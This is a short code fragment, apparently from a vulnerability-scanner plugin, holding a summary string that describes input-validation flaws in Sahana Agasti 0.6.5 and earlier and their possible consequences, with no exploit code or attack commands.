tag_summary = "Sahana Agasti is prone to multiple input-validation vulnerabilities
because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit these vulnerabilities to obtain potentially
sensitive information and to execute arbitrary local scripts in the
context of the webserver process, which may aid in redirecting users
to a potentially malicious site. This may allow the attacker to
compromise the application and the computer and may aid in phishing
attacks; other attacks are also possible.

Sahana Agasti versions 0.6.5 and prior are vulnerable.";
